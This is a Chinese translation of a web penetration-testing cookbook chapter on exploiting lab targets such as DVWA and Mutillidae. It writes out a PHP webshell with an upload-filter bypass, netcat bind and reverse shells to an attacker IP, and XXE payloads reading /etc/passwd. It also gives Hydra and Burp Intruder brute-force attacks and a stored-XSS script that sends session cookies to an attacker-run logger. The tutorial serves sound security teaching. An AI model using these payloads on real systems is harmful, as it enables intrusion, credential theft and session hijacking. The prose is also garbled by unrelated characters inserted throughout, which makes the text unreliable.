作者:Gilberto Najera-Gutierrez
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
簡(jiǎn)介
這章開始我們會(huì)開始涉及滲透測(cè)試的的利用層面舞蔽。和漏洞評(píng)估的主要不同是冤竹,漏洞評(píng)估中測(cè)試者識(shí)別漏洞(多數(shù)時(shí)間使用自動(dòng)化掃描器)和提出如何減輕它們的建議烙样。而滲透測(cè)試中測(cè)試者作為惡意攻擊者并嘗試?yán)脵z測(cè)到的漏洞,并得到最后的結(jié)果:整個(gè)系統(tǒng)的淪陷乃沙,內(nèi)部網(wǎng)絡(luò)訪問熬甫,敏感數(shù)據(jù)泄露,以及其它试读。同時(shí)杠纵,要當(dāng)心不要影響系統(tǒng)的可用性或者為真正的攻擊者留下后門。
之前的章節(jié)中钩骇,我們已經(jīng)涉及了如何檢測(cè) Web 應(yīng)用中的一些漏洞比藻。這一章中我們打算了解如何利用這些漏洞并使用它們來提取信息和獲得應(yīng)用及系統(tǒng)受限部分的訪問權(quán)。
6.1 惡意使用文件包含和上傳
我們?cè)诘谒恼轮锌吹教纫伲募┒丛陂_發(fā)者對(duì)生成文件路徑的輸入校驗(yàn)不當(dāng)银亲,并使用該路徑來包含源代碼文件時(shí)出現(xiàn)。服務(wù)端語言的現(xiàn)代版本纽匙,例如 PHP 自 5.2.0 起务蝠,將一些特性默認(rèn)關(guān)閉,例如遠(yuǎn)程文件包含哄辣,所以 2011 年起就不大可能找到 RFI 了请梢。
這個(gè)秘籍中,我們會(huì)上傳一些惡意文件力穗,其中之一是 Webshell(可用于在服務(wù)器中執(zhí)行命令的頁面)毅弧,之后使用本地文件包含來執(zhí)行它。
準(zhǔn)備
這個(gè)秘籍中当窗,我們會(huì)使用 vulnerable_vm 中的 DVWA 够坐,并以中等安全級(jí)別配置,所以讓我們將其配置起來。
1.訪問
http://192.168.56.102/dvwa
元咙。2.登錄梯影。
3.將安全級(jí)別設(shè)置為中。訪問
DVWA Security
庶香,在組合框中選擇medium
并點(diǎn)擊Submit
甲棍。
我們會(huì)上傳一些文件給服務(wù)器,但是你需要記住它們儲(chǔ)存在哪里赶掖,以便之后調(diào)用感猛。所以,在 DVWA 中訪問Upload
并上傳任何 JPG 圖像奢赂。如果成功了陪白,他會(huì)告訴你文件上傳到了../../hackable/uploads/
。現(xiàn)在我們知道了用于儲(chǔ)存上傳文件的相對(duì)路徑膳灶。這對(duì)于秘籍就足夠了咱士。
我們也需要準(zhǔn)備好我們的文件,所以讓我們創(chuàng)建帶有一下內(nèi)容的文本文件:
1 <?
2 system($_GET['cmd']);
3 echo '<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>';
4 ?>
將其保存為webshell.php
轧钓。我們需要另一個(gè)文件序厉,創(chuàng)建rename.php
并輸入下列代碼:
1 <?
2 system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php');
3 ?>
這個(gè)文件會(huì)接受特殊圖像文件(webshell.jpg
)并將其重命名為webshell.php
。
操作步驟
-
1.首先聋迎,讓我們嘗試上傳我們的 webshell脂矫。在 DVWA 中訪問
Upload
之后嘗試上傳webshell.php
,像這樣:
于是霉晕,這里對(duì)于我們能夠上傳的東西有個(gè)驗(yàn)證。這意味著我們需要上傳圖標(biāo)文件捞奕,或更精確來說牺堰,帶有.jpg
或.png
的圖像文件。這就是為什么我們需要重命名腳本來還原原始文件的.php
擴(kuò)展颅围,便于我們執(zhí)行它伟葫。 2.為了避免驗(yàn)證錯(cuò)誤,我們需要將我們的 PHP 文件重命名為有效的擴(kuò)展名院促。在終端中筏养,我們需要訪問 PHP 文件所在目錄并創(chuàng)建它們的副本:
1 cp rename.php rename.jpg
2 cp webshell.php webshell.jpg
-
3.現(xiàn)在,讓我們返回 DVWA 并嘗試上傳二者:
-
4.一旦兩個(gè) JPG 文件都上傳了常拓,我們使用本地文件包含漏洞過來執(zhí)行
rename.jpg
渐溶。訪問文件包含部分并利用這個(gè)漏洞來包含../../hackable/uploads/rename.jpg
:
我們并沒有得到這個(gè)文件執(zhí)行的任何輸出,我們需要假設(shè)webshell.jpg
命名為webshell.php
弄抬。 -
5.如果它能工作茎辐,我們應(yīng)該能夠包含
../../hackable/uploads/ webshell.php
,讓我們?cè)囋嚕?br> -
6.在左上角的文本框中,輸入
/sbin/ifconfig
并按下回車:
并且它能夠工作拖陆。就像圖片中那樣弛槐,服務(wù)器的 IP 是192.168.56.102
。現(xiàn)在依啰,我們可以在服務(wù)器中執(zhí)行命令乎串,通過將它們鍵入到文本框中,或者為cmd
參數(shù)設(shè)置不同的值速警。
工作原理
在上傳有效 JPG 文件時(shí)叹誉,我們所做的第一個(gè)測(cè)試是為了發(fā)現(xiàn)上傳文件保存的路徑,便于我們可以在rename.php
中坏瞄,以及表單的action
中使用這個(gè)路徑桂对。
使用重命名腳本有兩個(gè)重要原因:首先,上傳頁面只允許 JPG 文件鸠匀,所以我們的腳本需要這個(gè)擴(kuò)展名蕉斜,其次,我們需要帶參數(shù)調(diào)用我們的 webshell(要執(zhí)行的命令)缀棍,而我們從 Web 服務(wù)器調(diào)用圖片時(shí)不能帶參數(shù)宅此。
PHP 中的system()
函數(shù)是攻擊核心,它所做的是爬范,執(zhí)行系統(tǒng)命令并顯示輸出父腕。這允許我們將 webshell 文件從.jpg
重命名為.php
文件并執(zhí)行我們指定為 GET 參數(shù)的命令。
更多
一旦我們上傳并執(zhí)行了服務(wù)端代碼青瀑,我們有很多選擇來攻陷服務(wù)器璧亮,例如,下列代碼可以在綁定的 shell 中調(diào)用:
1 nc -lp 12345 -e /bin/bash
它打開服務(wù)器的 TCP 12345 端口并監(jiān)聽連接斥难。連接建立之后枝嘶,它會(huì)將接收的信息作為輸入來執(zhí)行/bin/bash
,并把輸出通過網(wǎng)絡(luò)發(fā)給被連接的主機(jī)(攻擊者主機(jī))哑诊。
也可以讓服務(wù)器下載一些惡意程序群扶,例如提權(quán)利用,執(zhí)行它來獲得更高權(quán)限镀裤。
6.2 利用 OS 命令注入
在上一個(gè)秘籍中竞阐,我們看到 PHP 的system()
如何用于在服務(wù)器中執(zhí)行 OS 命令。有時(shí)開發(fā)者會(huì)使用類似于它的指令暑劝,或者相同的功能來執(zhí)行一些任務(wù)骆莹,有時(shí)候他們會(huì)使用無效的用戶輸入作為參數(shù)來執(zhí)行命令。
這個(gè)秘籍中铃岔,我們會(huì)利用命令注入漏洞來提取服務(wù)器中的重要信息汪疮。
操作步驟
1.登錄 DVWA 訪問
Command Execution
峭火。-
2.我們會(huì)看到
Ping for FREE
表單,試試它吧智嚷。Ping192.168.56.1
(在主機(jī)網(wǎng)絡(luò)中卖丸,我們的 Kali Linux 的 IP)。
這個(gè)輸出看起來像是直接的 ping 命令的輸出盏道。這表明服務(wù)器使用 OS 命令來執(zhí)行 ping稍浆。所以它可能存在 OS 命令注入。 3.讓我們嘗試注入一個(gè)非常簡(jiǎn)單的命令猜嘱,提交下列代碼:
1 192.168.56.1;uname -a.
我們可以看到
uname
命令的輸出就在 ping 的輸出之后衅枫。這里存在命令注入漏洞。
-
4.如果不帶IP地址會(huì)怎么樣呢:
;uname -a:
朗伶。
-
5.現(xiàn)在弦撩,我們打算獲取服務(wù)端的反向 shell。首先我們必須確保服務(wù)器擁有所需的任何東西论皆。提交下列代碼:
;ls /bin/nc*
益楼。
所以我們擁有多于一種版本的 Netcat,我們打算使用它來生成連接点晴。nc
的OpenBSD版本不支持執(zhí)行連接命令感凤,所以我們使用傳統(tǒng)的版本。 6.下一步是監(jiān)聽 Kali 主機(jī)的連接粒督。打開終端并執(zhí)行下列命令:
1 nc -lp 1691 -v
- 7.返回瀏覽器中陪竿,提交這個(gè):
;nc.traditional -e /bin/bash 192.168.56.1 1691 &
。
![](http://git.oschina.net/wizardforcel/kali-linux-web-pentest-cookbook-zh/raw/master/img/6-2-5.jpg
我們的終端會(huì)對(duì)連接做出反應(yīng)屠橄。我們現(xiàn)在可以執(zhí)行非交互式命令并檢查它們的輸出族跛。
工作原理
就像 SQL 注入的例子那樣,命令注入漏洞的來源于弱輸入校驗(yàn)機(jī)制锐墙,以及使用用戶提供的數(shù)據(jù)來拼接之后會(huì)用做 OS 命令的字符串庸蔼。如果我們查看剛剛攻擊的頁面源代碼(每個(gè) DVWA 頁面的右下角會(huì)有個(gè)按鈕),會(huì)看到這些:
1 <?php
2 if( isset( $_POST[ 'submit' ] ) ) {
3
4 $target = $_REQUEST[ 'ip' ];
5
6 // Determine OS and execute the ping command.
7 if (stristr(php_uname('s'), 'Windows NT')) {
8 $cmd = shell_exec( 'ping ' . $target );
9 echo '<pre>'.$cmd.'</pre>';
10
11 } else {
12 $cmd = shell_exec( 'ping -c 3 ' . $target );
13 echo '<pre>'.$cmd.'</pre>';
14 }
15 }
16 ?>
我們可以看到贮匕,它直接將用戶的輸入附加到 ping 命令后面。我們所做的僅僅是添加一個(gè)分號(hào)花枫,系統(tǒng)的 shell 會(huì)將其解釋為命令的分隔符刻盐,以及下一個(gè)我們打算執(zhí)行的命令。
在成功執(zhí)行命令之后劳翰,下一步就是驗(yàn)證服務(wù)器是否擁有 Netcat敦锌。它是一個(gè)能夠建立網(wǎng)絡(luò)連接的工具,在一些版本中還可以在新連接建立之后執(zhí)行命令佳簸。我們看到了服務(wù)器的系統(tǒng)擁有兩個(gè)不同版本的 Netcat乙墙,并執(zhí)行了我們已知支持所需特性的版本颖变。
之后我們配置攻擊系統(tǒng)來監(jiān)聽 TCP 1691 端口連接(也可以是任何其它可用的 TCP 端口),然后我們讓服務(wù)器連接到我們的機(jī)器听想,通過該端口并在連接建立時(shí)執(zhí)行/bin/bash
(系統(tǒng) shell)腥刹。所以我們通過連接發(fā)送的任何東西都會(huì)被服務(wù)器接收作為 shell 的輸入。
也可以讓服務(wù)器下載一些惡意程序汉买,例如提權(quán)利用衔峰,執(zhí)行它來獲得更高權(quán)限。
6.3 利用 XML 外部實(shí)體注入
XML 是主要用于描述文檔或數(shù)據(jù)結(jié)構(gòu)的格式蛙粘,例如垫卤,HTML 是XML 的實(shí)現(xiàn),它定義了頁面和它們的關(guān)系的結(jié)構(gòu)和格式出牧。
XML 實(shí)體類似于定義在 XML 結(jié)構(gòu)中的數(shù)據(jù)結(jié)構(gòu)穴肘,它們中的一些能夠從文件系統(tǒng)中讀取文件或者甚至是執(zhí)行命令。
這個(gè)秘籍中舔痕,我們會(huì)利用 XML 外部實(shí)體注入漏洞來在服務(wù)器中執(zhí)行代碼评抚。
準(zhǔn)備
建議你開始之前遵循上一個(gè)秘籍中的步驟。
操作步驟
1.瀏覽
http://192.168.56.102/mutillidae/index.php?page=xmlvalidator.php
赵讯。-
2.上面寫著它是個(gè) XML 校驗(yàn)器盈咳。讓我們嘗試提交測(cè)試示例來觀察發(fā)生什么。在 XML 輸入框中边翼,輸入
<somexml><message>Hello World</message></ somexml>
鱼响,并點(diǎn)擊Validate XML
。
3.現(xiàn)在讓我們觀察它是否正確處理了實(shí)體组底,提交系列代碼:
1 <!DOCTYPE person [
2 <!ELEMENT person ANY>
3 <!ENTITY person "Mr Bob">
4 ]>
5 <somexml><message>Hello World &person;</message></somexml>
這里康嘉,我們僅僅定義了實(shí)體并將值
"Mr Bob"
賦給它。解析器在展示結(jié)果時(shí)解釋了實(shí)體并替換了它的值删性。
- 4.這就是內(nèi)部實(shí)體的使用庸论,讓我們嘗試外部實(shí)體:
1 <!DOCTYPE fileEntity [
2 <!ELEMENT fileEntity ANY>
3 <!ENTITY fileEntity SYSTEM "file:///etc/passwd">
4 ]>
5 <somexml><message>Hello World &fileEntity;</message></somexml>
使用這個(gè)技巧,我們就可以提取系統(tǒng)中的任何文件厌均,只要它們可以在 Web 服務(wù)器的運(yùn)行環(huán)境被用戶讀取唬滑。
我們也可以使用 XEE 來加載頁面。在上一個(gè)秘籍中棺弊,我們已經(jīng)設(shè)法將 webshell 上傳到服務(wù)器中晶密,讓我們?cè)囋嚢伞?/p>
1 <!DOCTYPE fileEntity [
2 <!ELEMENT fileEntity ANY>
3 <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/ webshell.php?cmd=/sbin/ifconfig">
4 ]>
5 <somexml><message>Hello World &fileEntity;</message></somexml>
工作原理
XML 擁有叫做實(shí)體的特性。XML 實(shí)體是與值關(guān)聯(lián)的名稱模她,每次實(shí)體在文檔中使用的時(shí)候稻艰,它都會(huì)在 XML文件處理時(shí)替換為值。使用它以及不同的可用包裝器(file://
來加載系統(tǒng)文件侈净,或者http://
來加載 URL)尊勿,我們就可以通過輸入校驗(yàn)和XML 解析器的配置僧凤,惡意使用沒有合理安全措施的實(shí)現(xiàn),并提取敏感數(shù)據(jù)或者甚至在服務(wù)器中執(zhí)行系統(tǒng)命令元扔。
這個(gè)秘籍中躯保,我們使用file://
包裝器來使解析器加載服務(wù)器中的任意文件,之后摇展,使用http://
包裝器吻氧,我們調(diào)用了網(wǎng)頁,它碰巧是同一個(gè)服務(wù)器中的 webshell咏连,并執(zhí)行了一些命令盯孙。
更多
這個(gè)漏洞也可以用于發(fā)起 DoS 攻擊,叫做“Billion laughs”祟滴,你可以在維基百科中閱讀更多信息:https://en.wikipedia.org/wiki/Billion_laughs
振惰。
PHP 也支持不同的 XML 實(shí)體包裝器(類似于file://
和http://
),如果它在服務(wù)器中被開啟垄懂,也會(huì)在不需要上傳文件的情況下允許命令執(zhí)行骑晶,它就是expect://
。你可以在這里找到更多它和其它包裝器的信息:http://www.php.net/manual/en/wrappers.php
草慧。
另見
XXE 漏洞如何在世界上最流行的站點(diǎn)上發(fā)現(xiàn)的例子桶蛔,可以在這里查看:http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
。
6.4 使用 Hydra 爆破密碼
Hydra 是網(wǎng)絡(luò)登錄破解器漫谷,也就是在線的破解器仔雷,這意味著它可以用于通過爆破網(wǎng)絡(luò)服務(wù)來發(fā)現(xiàn)登錄密碼。爆破攻擊嘗試猜測(cè)正確的密碼舔示,通過嘗試所有可能的字符組合碟婆。這種攻擊一定能找到答案,但可能要花費(fèi)數(shù)百萬年的時(shí)間惕稻。
雖然對(duì)于滲透測(cè)試者來說竖共,等待這么長(zhǎng)時(shí)間不太可行,有時(shí)候在大量服務(wù)器中測(cè)試一小部分用戶名/密碼組合是非常有效率的俺祠。
這個(gè)秘籍中公给,我們會(huì)使用 Hydra 來爆破登錄頁面,在一些已知用戶上執(zhí)行爆破攻擊蜘渣。
準(zhǔn)備
我們需要擁有用戶名列表妓布,在我們?yōu)g覽 vulnerable_vm 的時(shí)候我們?cè)谠S多應(yīng)用中看到了有效用戶的一些名稱。讓我們創(chuàng)建文本文件users. txt
宋梧,內(nèi)容如下:
1 admin
2 test
3 user
4 user1
5 john
操作步驟
-
1.我們的第一步是分析登錄請(qǐng)求如何發(fā)送,以及服務(wù)器如何響應(yīng)狰挡。我們使用 Burp Suite 來捕獲 DVWA 的登錄請(qǐng)求:
我們可以看到請(qǐng)求是/dvwa/login.php
捂龄,它擁有三個(gè)參數(shù):username
释涛、password
和login
。 -
2.如果我們停止捕獲請(qǐng)求倦沧,并檢查瀏覽器中的結(jié)果唇撬,我們可以看到響應(yīng)是登錄頁面的重定向。
有效的用戶名/密碼組合不應(yīng)該直接重定向到登錄頁面展融,而應(yīng)該是其它頁面窖认,例如index.php
。所以我們假設(shè)有效登錄會(huì)重定向到其它頁面告希,我們會(huì)接受index.php
作為用于分辨是否成功的字符串扑浸。Hydra 使用這個(gè)字符串來判斷是否某個(gè)用戶名/密碼被拒絕了。 3.現(xiàn)在燕偶,我們準(zhǔn)備好攻擊了喝噪,在終端中輸入下列命令:
1 hydra 192.168.56.102 http-form-post "/dvwa/login.php:username=^USE R^&password=^PASS^&Login=Login:login.php" -L users.txt -e ns -u -t 2 -w 30 -o hydra-result.txt
我們使用這個(gè)命令只嘗試了兩個(gè)用戶名組合:密碼等于用戶名和密碼為空。我們從這個(gè)攻擊之中得到了兩個(gè)有效密碼指么,Hydra中標(biāo)為綠色酝惧。
工作原理
這個(gè)秘籍的第一個(gè)部分是捕獲和分析請(qǐng)求,用于了解請(qǐng)求如何工作伯诬。如果我們考慮登錄頁面的輸出晚唇,我們會(huì)看到消息“登錄失敗”,并且可以使用這個(gè)消息作為 Hydra的輸入來充當(dāng)失敗的字符串盗似。但是哩陕,通過檢查代理的歷史,我們可以看到它出現(xiàn)在重定向之后桥言,Hydra只讀取第一個(gè)響應(yīng)萌踱,所以它并不能用,這也是我們使用login.php
作為失敗字符串的原因号阿。
我們使用了多個(gè)參數(shù)來調(diào)用 Hydra:
- 首先是服務(wù)器的 IP 地址并鸵。
-
http-form-post
:這表明 Hydra 會(huì)對(duì) HTTP 表單使用 POST 請(qǐng)求。接下來是由冒號(hào)分隔的扔涧,登錄頁面的 URL园担。請(qǐng)求參數(shù)和失敗字符串由&
分隔,^USER^
和^PASS^
用于表示用戶名和密碼應(yīng)該在請(qǐng)求中被放置的位置枯夜。 -
-L users.txt
:這告訴 Hydra 從users.txt
文件接收用戶名稱弯汰。 -
-e ns
:Hydra 會(huì)嘗試空密碼并將用戶名作為密碼。 -
-u
:Hydra會(huì)首先迭代用戶名而不是密碼湖雹。這意味著Hydra首先會(huì)對(duì)單一的密碼嘗試所有用戶名咏闪,之后移動(dòng)到下一個(gè)密碼。這在防止賬戶鎖定的時(shí)候很有用摔吏。 -
-t 2
:我們不想讓登錄請(qǐng)求填滿服務(wù)器鸽嫂,所以我們使用兩個(gè)線程纵装,這意味著每次兩個(gè)請(qǐng)求。 -
-w 30
:設(shè)置超時(shí)時(shí)間据某,或者等待服務(wù)器響應(yīng)的時(shí)間橡娄。 -
-o hydra-result.txt
:將輸出保存到文本文件中。當(dāng)我們擁有幾百個(gè)可能有效的密碼時(shí)這會(huì)很實(shí)用癣籽。
更多
要注意我們沒有使用-P
選項(xiàng)來使用密碼列表挽唉,或者-x
選項(xiàng)來自動(dòng)生成密碼。我們這樣做是因?yàn)楸?Web 表單產(chǎn)生很大的網(wǎng)絡(luò)流量筷狼,如果服務(wù)器對(duì)它沒有防護(hù)瓶籽,會(huì)產(chǎn)生 DoS 的情況。
不推薦使用大量的密碼在生產(chǎn)服務(wù)器上執(zhí)行爆破或字典攻擊桑逝,因?yàn)槲覀儠?huì)使服務(wù)器崩潰棘劣,阻攔有效用戶,或者被客戶端的保護(hù)機(jī)制阻攔楞遏。
推薦滲透測(cè)試者在執(zhí)行這種攻擊時(shí)對(duì)每個(gè)用戶嘗試四次茬暇,來避免被阻攔。例如寡喝,我們可以嘗試-e ns
糙俗,就像這里做的這樣,之后添加-p 123456
來測(cè)試三種可能性预鬓,沒有密碼巧骚、密碼和用戶名一樣以及密碼為123456
,這是世界上最常見的密碼之一格二。
6.5 使用 Burp Suite 執(zhí)行登錄頁面的字典爆破
Burp Suite 的 Intruder 能夠?qū)?HTTP 請(qǐng)求的許多部分執(zhí)行模糊測(cè)試和爆破攻擊劈彪。在執(zhí)行登錄頁面上的字典攻擊時(shí)非常實(shí)用。
這個(gè)秘籍中顶猜,我們會(huì)使用 Burp Suite 的 Intruder 和 第二章生成的字典來通過登錄獲得訪問權(quán)沧奴。
準(zhǔn)備
這個(gè)秘籍需要字典列表。它可以是來自目標(biāo)語言的簡(jiǎn)單單詞列表长窄,常見密碼的列表滔吠,或者我們?cè)诘诙隆笆褂?John the Ripper 生成字典”中的列表。
操作步驟
1.第一步是設(shè)置 Burp Suite 用作瀏覽器的代理挠日。
2.瀏覽
http://192.168.56.102/WackoPicko/admin/index.php
疮绷。3.我們會(huì)看到登錄頁面,讓我們嘗試和測(cè)試用戶名和密碼嚣潜。
-
4.現(xiàn)在訪問大力的歷史冬骚,并查看我們剛剛生成的登錄的 POST 請(qǐng)求:
5.右擊它并從菜單中選擇
Send to intruder
。6.intruder 標(biāo)簽頁會(huì)高亮,讓我們?cè)L問它之后訪問
Positions
標(biāo)簽頁唉韭。這里我們會(huì)定義請(qǐng)求的哪個(gè)部分要用于測(cè)試夜涕。7.點(diǎn)擊
Clear §
來清除之前選項(xiàng)的區(qū)域。8.現(xiàn)在属愤,我們已經(jīng)選擇了什么會(huì)用作測(cè)試輸入。高亮用戶名的值(
test
)酸役,并點(diǎn)擊Add §
住诸。-
9.對(duì)密碼值執(zhí)行相同操作,并點(diǎn)擊
Cluster bomb
作為攻擊類型:
10.下一步就是定義Intruder 用于對(duì)我們所選擇的輸入測(cè)試的值涣澡。訪問
Payloads
標(biāo)簽頁贱呐。11.使用寫著
Enter a new item
的文本框和Add
按鈕,使用下列東西來填充列表:
1 user
2 john
3 admin
4 alice
5 bob
6 administrator
7 user
- 12.現(xiàn)在從
Payload Set
框中選擇list 2
入桂。
-13.我們會(huì)使用字典來填充這個(gè)列表奄薇,點(diǎn)擊Load
并選擇字典文件。
14.我們現(xiàn)在擁有了兩個(gè)載荷集合抗愁,并準(zhǔn)備好攻擊登錄頁面了馁蒂。在頂部的菜單中,訪問
Intruder | Start attack
蜘腌。15.如果我們使用免費(fèi)版沫屡,會(huì)出現(xiàn)一個(gè)提示框告訴我們一些功能是禁用的。這里撮珠,我們可以不使用這些功能沮脖,點(diǎn)擊
OK
。-
16.新的窗口會(huì)彈出芯急,并展示攻擊進(jìn)度勺届。為了分辨成功的登錄,我們需要檢查響應(yīng)長(zhǎng)度娶耍。點(diǎn)擊
Length
列來排列結(jié)果免姿,通過不同長(zhǎng)度來識(shí)別響應(yīng)比較容易。
-
17.如果我們檢查不同長(zhǎng)度的結(jié)果伺绽,我們可以看到他重定向到了管理主頁养泡,就像下面這樣:
工作原理
Intruder 所做的是,修改請(qǐng)求的特定部分奈应,并使用定義好的載荷替換這些部分的值澜掩。載荷可以是這些東西:
- 簡(jiǎn)單列表:來自文件,由剪貼板傳遞或者寫在文本框中的列表杖挣。
- 運(yùn)行時(shí)文件:Intruder 可以在運(yùn)行時(shí)從文件中讀取載荷肩榕,所以如果文件非常大,它不會(huì)完全加載進(jìn)內(nèi)存。
- 數(shù)字:生成一列順序或隨機(jī)的數(shù)字株汉,以十進(jìn)制或十六進(jìn)制形式筐乳。
- 用戶名生成器:接受郵件地址列表,從中提取可能的用戶乔妈。
- 爆破器:接受字符集并使用它來生成指定長(zhǎng)度的所有排列蝙云。
這些載荷由Intruder以不同形式發(fā)送,在Positions
標(biāo)簽頁中由攻擊類型指定路召。攻擊類型在載荷標(biāo)記中的組合和排列方式上有所不同勃刨。
- Sniper:對(duì)于載荷的單一集合,它將每個(gè)載荷值放在每個(gè)標(biāo)記位置股淡,一次一個(gè)身隐。
- Battering ram:類似Sniper,它使用載荷的單一集合唯灵,不同點(diǎn)是它在每個(gè)請(qǐng)求中將所有位置設(shè)置為相同的值贾铝。
- Pitchfork:使用多個(gè)載荷集合,并將每個(gè)集合中的一個(gè)項(xiàng)目放到每個(gè)標(biāo)記位置中埠帕。當(dāng)我們擁有不能混用的預(yù)定義數(shù)據(jù)時(shí)垢揩,這會(huì)非常有用,例如搞监,測(cè)試已知的用戶名和密碼水孩。
- Cluster bomb:測(cè)試多個(gè)載荷,所以每個(gè)可能的排列都可以測(cè)試到琐驴。
對(duì)于結(jié)果俘种,我們可以看到所有失敗嘗試都有相同的響應(yīng),這里是 811 字節(jié)绝淡。所以我們假設(shè)成功響應(yīng)的長(zhǎng)度應(yīng)該不同(因?yàn)樗鼤?huì)重定向到用戶主頁)宙刘。如果碰巧成功和失敗請(qǐng)求長(zhǎng)度相同,我們也可以檢查狀態(tài)碼或者使用搜索框來尋找響應(yīng)中的特定模式牢酵。
更多
Kali 包含了非常實(shí)用的密碼字典和單詞列表集合悬包,位于/usr/ share/wordlists
。一些文件可以在這里找到:
-
rockyou.txt
:Rockyou.com在 2010 年被攻破馍乙,泄露了多于 14 億的密碼布近,這個(gè)列表包含它們。 -
dnsmap.txt
:包含常用的子域名稱丝格,例如內(nèi)部網(wǎng)絡(luò)撑瞧、FTP或者WWW。在我們爆破 DNS 服務(wù)器時(shí)非常實(shí)用显蝌。 -
./dirbuster/*
:dirbuster
目錄包含Web 服務(wù)器中常見的文件名稱预伺,這些文件可以在使用DirBuster
或 OWASP ZAP 強(qiáng)制瀏覽時(shí)使用。 -
./wfuzz/*
:在這個(gè)目錄中,我們可以找到用于Web 攻擊的模糊字符串的大量集合酬诀,以及爆破文件脏嚷。
6.6 通過 XSS 獲得會(huì)話 Cookie
我們已經(jīng)談?wù)撨^了 XSS,它是現(xiàn)在最常見的 Web 攻擊之一瞒御。XSS 可以用于欺騙用戶父叙,通過模仿登錄頁面來獲得身份,或者通過執(zhí)行客戶端命令來收集信息肴裙,或者通過獲得會(huì)話 cookie 以及冒充在攻擊者的瀏覽器中的正常用戶來劫持會(huì)話高每。
這個(gè)秘籍中,我們會(huì)利用持久性 XSS 來獲得用戶的會(huì)話 Cookie践宴,之后使用這個(gè) cookie 來通過移植到另一個(gè)瀏覽器來劫持會(huì)話,之后冒充用戶來執(zhí)行操作爷怀。
準(zhǔn)備
對(duì)于這個(gè)秘籍阻肩,我們需要啟動(dòng) Web 服務(wù)器作為我們的 cookie 收集器,所以在我們攻擊之前运授,我們需要啟動(dòng) Kali 中的 Apache烤惊,之后在 root 終端中執(zhí)行下列命令:
1 service apache2 start
在這本書所使用的系統(tǒng)中,Apache 的文檔根目錄位于/var/www/html
吁朦,創(chuàng)建叫做savecookie.php
的文件并輸入下列代碼:
1 ?php
2 $fp = fopen('/tmp/cookie_data.txt', 'a');
3 fwrite($fp, $_GET["cookie"] . "\n");
4 fclose($fp);
5 ?>
這個(gè) PHP 腳本會(huì)收集由 XSS 發(fā)送的所有 cookie柒室。為了確保它能工作,訪問http://127.0.0.1/savecookie.php?cookie=test
逗宜,并且檢查/tmp/cookie_data.txt
的內(nèi)容:
1 cat /tmp/cookie_data.txt
如果它顯式了test
單詞雄右,就能生效。下一步就是了解 Kali 主機(jī)在 VirtualBox 主機(jī)網(wǎng)絡(luò)中的地址纺讲,執(zhí)行:
1 ifconfig
對(duì)于這本書擂仍,Kali 主機(jī) 的vboxnet0
接口 IP 為 192.168.56.1 。
操作步驟
1.我們?cè)谶@個(gè)秘籍中會(huì)使用兩個(gè)不同的瀏覽器熬甚。OWASP Mantra 是攻擊者的瀏覽器逢渔,Iceweasel 是受害者的瀏覽器。在攻擊者的瀏覽器中乡括,訪問
http://192.168.56.102/peruggia/
肃廓。-
2.讓我們給頁面的圖片添加一條評(píng)論,點(diǎn)擊
Comment on this picture
诲泌。
3.在文本框中輸入下列代碼:
1 <script>
2 var xmlHttp = new XMLHttpRequest();
3 xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true );
4 xmlHttp.send( null );
5 </script>
4.點(diǎn)擊
Post
盲赊。5.頁面會(huì)執(zhí)行我們的腳本,即使我們看不見任何改動(dòng)档礁。檢查Cookie 文件的內(nèi)容來查看結(jié)果角钩。在我們的 Kali 主機(jī)上,打開終端并執(zhí)行:
1 cat /tmp/cookie_data.txt
文件中會(huì)出現(xiàn)新的條目。
6.現(xiàn)在递礼,在受害者瀏覽器中訪問
http://192.168.56.102/peruggia/
惨险。7.點(diǎn)擊
Login
。8.輸入
admin
作為用戶名和密碼脊髓,并點(diǎn)擊Login
辫愉。9.讓我們?cè)俅螜z查Cookie文件的內(nèi)容:
1 cat /tmp/cookie_data.txt
最后一個(gè)條目由受害者的瀏覽器中的用戶生成。
10.現(xiàn)在在攻擊者的瀏覽器中将硝,確保你沒有登錄恭朗,并打開 Cookies Manager+(在 Mantra 的菜單中,
Tools | Application Auditing | Cookies Manager+
)依疼。11.選擇 192.168.56.102(vulnerable_vm)的PHPSESSID
Cookie痰腮。并點(diǎn)擊Edit
。-
12.從
/tmp/cookie_data.txt
復(fù)制最后一個(gè)Cookie律罢。之后將其粘貼到Content
字段中膀值,像這樣:
-
13.點(diǎn)擊
Save
,之后點(diǎn)擊Close
并在攻擊者的瀏覽器中重新加載頁面误辑。
現(xiàn)在我們通過持久性 XSS 攻擊劫持了管理員的會(huì)話沧踏。
工作原理
簡(jiǎn)單來說,我們使用應(yīng)用中的 XSS 漏洞來將會(huì)話 Cookie 發(fā)送給遠(yuǎn)程服務(wù)器巾钉,通過 JavaScript HTTP 請(qǐng)求翘狱。這個(gè)服務(wù)器被配置用于儲(chǔ)存會(huì)話 Cookie,之后砰苍,我們獲得一個(gè)會(huì)話 ID潦匈,并把它移植到不同的瀏覽器中來劫持驗(yàn)證用戶的會(huì)話。下面师骗,我們來看看每一步如何工作历等。
我們編寫的 PHP 文件用于在 XSS 攻擊執(zhí)行時(shí)保存收到的 Cookie。
我們輸入的評(píng)論是一個(gè)腳本辟癌,使用JavaScript 的XMLHttpRequest 對(duì)象來向我們的惡意服務(wù)器發(fā)送 HTTP 請(qǐng)求寒屯,這個(gè)請(qǐng)求由兩步構(gòu)建:
1 xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true );
我們使用 GET 方法打開請(qǐng)求,向http://192.168.56.1/savecookie.php
URL添加叫做cookie
的參數(shù)黍少,它的值儲(chǔ)存在document.cookie
中寡夹,它是 JavaScript 中儲(chǔ)存cookie值的變量。最后的參數(shù)設(shè)置為true
厂置,告訴瀏覽器這是異步請(qǐng)求菩掏,這意味著它不需要等待響應(yīng)。
1 xmlHttp.send( null )
最后的指令將請(qǐng)求發(fā)送給服務(wù)器昵济。
在管理員登錄并查看包含我們所發(fā)送評(píng)論的頁面之后智绸,腳本會(huì)執(zhí)行野揪,并且管理員的會(huì)話 cookie 就儲(chǔ)存在我們的服務(wù)器中了。
